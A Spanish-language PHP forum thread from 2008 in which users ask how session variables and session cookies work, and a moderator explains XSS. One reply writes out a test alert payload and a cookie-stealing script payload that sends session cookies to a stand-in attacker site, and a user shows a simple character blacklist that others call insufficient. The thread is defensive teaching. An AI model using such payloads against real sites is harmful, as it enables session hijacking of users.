Foros del Web » Programando para Internet » PHP »

Una duda mas de sesiones

Estas en el tema de Una duda mas de sesiones en el foro de PHP en Foros del Web. Hola. Como hago para ver las variables de sesion que uso en todo el navegador y en todas las paginas q abro?. cuando ingreso a ...
  #1 (permalink)  
Antiguo 03/06/2008, 08:39
Avatar de killerangel  
Fecha de Ingreso: septiembre-2007
Ubicación: Un punto en el espacio
Mensajes: 592
Antigüedad: 16 años, 7 meses
Puntos: 10
Pregunta Una duda mas de sesiones

Hola.

Como hago para ver las variables de sesion que uso en todo el navegador y en todas las paginas q abro?.

cuando ingreso a alguna web, despues de la autenticacion, se crean variables de sesion donde se guardan los datos que me permiten acceder a una web como usuario, pero cuando hago un print_r($_SESSION); no me imprime los datos de sesion de la web q uso....

como hago para tener la informacion que busco?

gracias!!
  #2 (permalink)  
Antiguo 03/06/2008, 09:14
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

Hola killerangel,

Si con print_r( $_SESSION ) no te muestra ninguna variable es seguramente porque no haz registrado ninguna variable.

Adicionalmente recuerda que debes de usar session_start() al inicio.

Saludos.
  #3 (permalink)  
Antiguo 03/06/2008, 09:32
Avatar de killerangel  
Fecha de Ingreso: septiembre-2007
Ubicación: Un punto en el espacio
Mensajes: 592
Antigüedad: 16 años, 7 meses
Puntos: 10
Respuesta: Una duda mas de sesiones

Hola GatorV.

Para el caso de forosdelweb.com, tengo ingreso al sistema, hago un print_r( $_SESSION ) con session_start() antes...

tampoco me muestra datos? acaso no usan variables de sesion algunas paginas para la autenticacion de ingreso al sistema?

las variables de sesion se guardan en cookies? o son netamente con cookies q se tratan estas validaciones?

que es mas seguro usar: variables de sesion o cookies para estos casos?

gracias!!
  #4 (permalink)  
Antiguo 03/06/2008, 09:45
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

Hola killerangel,

Quiero entender, ¿tu quieres ver las variables de sesion de foros del web al tu iniciar sesión?, si así es, entonces lamento decirte que no puedes hacerlo, ya que las variables de sesión se almacenan en el servidor y no puedes desde otro servidor leerlas.

Si se pudiera imagínate el fallo de seguridad que se presentaría.

En las cookies solo se guarda el identificador de sesión, es una cadena de 32 caracteres que te identifica en el servidor. Esta cadena es diferente por usuario, y como te comento sirve para distinguir a los diferentes usuarios en el servidor.

Saludos.
  #5 (permalink)  
Antiguo 03/06/2008, 10:51
Avatar de killerangel  
Fecha de Ingreso: septiembre-2007
Ubicación: Un punto en el espacio
Mensajes: 592
Antigüedad: 16 años, 7 meses
Puntos: 10
Respuesta: Una duda mas de sesiones

Excelente para la seguridad!!!

Entonces para redondear el asunto:

* las variables de sesion sólo se leen en el servidor y por mas que existan muchas variables con el mismo nombre, estas son independientes al usuario ya q se identifican por el id de sesion que se guarda en sus cookies.

*habria una analogia entre las variables de sesion y un registro en una BD ya que pueden tener el nombre (de columna de la BD = de variable de sesion ) igual, pero los datos diferentes, al mismo tiempo el id que se guarda en la cookie del usuario es al PK del registro de las variables de sesion.

correcto?... espero q si y nuevamente gracias estimado GatorV.
  #6 (permalink)  
Antiguo 03/06/2008, 11:18
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

1.- Sí.

2.- Son independientes, no importa que la columna se llame igual en tu Base de Datos, no van a conflictuar con tu variable de sesión para nada.

Saludos.
  #7 (permalink)  
Antiguo 03/06/2008, 11:25
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

Hola

GatorV Has respondido que si a que:

* las variables de sesion sólo se leen en el servidor y por mas que existan muchas variables con el mismo nombre, estas son independientes al usuario ya q se identifican por el id de sesion que se guarda en sus cookies.

el SSID se guarda en cookies??
creia que se almacenaban el el server y las cookies estan en el PC del usuario, no?
ahora voy liado
  #8 (permalink)  
Antiguo 03/06/2008, 11:27
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

Así es, la SSID se guarda en una cookie en el cliente, es por eso que si tu web es vulnerable a ataques XSS pueden obtener el valor de la cookie y hacer un request al servidor usando tu sesión.

Saludos.
  #9 (permalink)  
Antiguo 03/06/2008, 11:34
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

entonces se me ocurren un par de preguntas

1 si el cliente tiene deshabilitada las cookies, no sirven las sesiones para autentificar??

2 no se que son los ataques XSS, podrias proporcionarme un enlace que hable del tema??
seguro que soy vulnerable

Y yo que pensaba que con mysql_real_scape_string solamente, estaba a salvo.

Un saludo, y Gracias GatorV, se aprende tanto siguiendo tus respuestas que a veces me pierdo, como ahora
  #10 (permalink)  
Antiguo 03/06/2008, 11:55
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

1.- En ese caso, te habrás percatado que el ID se pasa por el URL en esta forma: pagina.php?PHPSESSID=unidlargo

2.- No tengo un enlace a la mano pero en Google seguramente encontrás mucha información. Los ataques XSS es inyectar código Javascript en tu pagina HTML, por ejemplo si pasas por GET:
Código:
pagina.php?user=<script>alert('ataquexss');</script>
Cuando abres pagina.php, si te sale el alert, es que eres vulnerable y es que en lugar de poner el alert pueden poner un redirect a un sitio externo pasandole por parámetro las cookies de sesión, algo así:
Código:
pagina.php?user=<script>window.location="http://mipaginamala.com/ataca.php?cookies="+window.cookies;</script>
La pagina ataca puede leer la cookie, extraer el ID de sesión y hacer una petición a tu server con el ID correcto y tu pagina quedaría comprometida.

Saludos.
  #11 (permalink)  
Antiguo 03/06/2008, 12:11
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

Gracias de nuevo
Creo que estoy protegido paser por url

admin.php?usuario=<script>alert('ataquexss');</script>

Y no paso nada

No me acordama que aparte de mysql_real_scape_string paso a loa variables la funcion quitar que encontre en el foro, donde quito posibles caracteres no permitidos, en los que incluyo < y >

Un saludo
  #12 (permalink)  
Antiguo 03/06/2008, 15:04
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 10 meses
Puntos: 2135
Respuesta: Una duda mas de sesiones

Hola jaronu,

No es nadamas checar por las variables <>, muchas veces un ataque XSS es más complejo e incluye caracteres en hexadecimal, por eso te pido que investigues, no es tan fácil protegerse contra ataques XSS.

Saludos.
  #13 (permalink)  
Antiguo 03/06/2008, 15:18
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

de acuerdo, tienes razon leere sobre el tema
Gracias por el aviso
  #14 (permalink)  
Antiguo 03/06/2008, 15:58
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

He leido, solo un poco y he visto que para ataques en hexadecimal han de usar el caracter %

y el array que uso en la funcion quitar es este

$nopermitidos = array("'",'\\','<','>',"\"",";","$","%","&","/","|","{","}","[","]","+","#","(",")");

no se si es suficiente para un ataque xss, ya que los hackers saben bastante mas que yo, y es que casi toda la buena informacion esta en ingles y eso es una asignatura pendiente para mi

Seguire leyendo sobre el tema
Gracias
  #15 (permalink)  
Antiguo 03/06/2008, 16:06
Avatar de pateketrueke
Modernizr
 
Fecha de Ingreso: abril-2008
Ubicación: Mexihco-Tenochtitlan
Mensajes: 26.399
Antigüedad: 16 años
Puntos: 2534
Respuesta: Una duda mas de sesiones

MMM .... deberías buscar alguna librería o función de ejemplo anti XSS para que ves que aun... no es tan simple, que buscar caracteres...

http://quickwired.com/smallprojects/...r_function.php
(es un ejemplo basico.... pero complejo)
__________________
Y U NO RTFM? щ(ºдºщ)

No atiendo por MP nada que no sea personal.
  #16 (permalink)  
Antiguo 03/06/2008, 16:14
Avatar de jaronu  
Fecha de Ingreso: febrero-2008
Mensajes: 2.183
Antigüedad: 16 años, 1 mes
Puntos: 52
Respuesta: Una duda mas de sesiones

gracias paketetrueke

menuda funcion, a mi no se me ocurriria dede luego, complicada, pero mas omenos entendible
Ya tengo una funcion mas para limpiar variables


Gracias de nuevo
  #17 (permalink)  
Antiguo 06/06/2008, 21:51
Avatar de killerangel  
Fecha de Ingreso: septiembre-2007
Ubicación: Un punto en el espacio
Mensajes: 592
Antigüedad: 16 años, 7 meses
Puntos: 10
Respuesta: Una duda mas de sesiones

Pues miren q acabo de darme cuenta q estaba cometiendo un error.

Habia hecho, segun yo, una funcion q me convertia los caracteres a numeros y luego estos numeros a caracteres especiales entre los que hay en el $nopermitidos de janoru, todo esto con formulas que me permitian de cierta manera 'encriptar' los datos q pasaba por URL con GET...

Pero veo q esto no es lo mas inteligente que podria hacer....

Gracias por sus comentarios me han kitado un gran dolor de cabeza en el futuro q no hubiera podido soportar.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 06:36.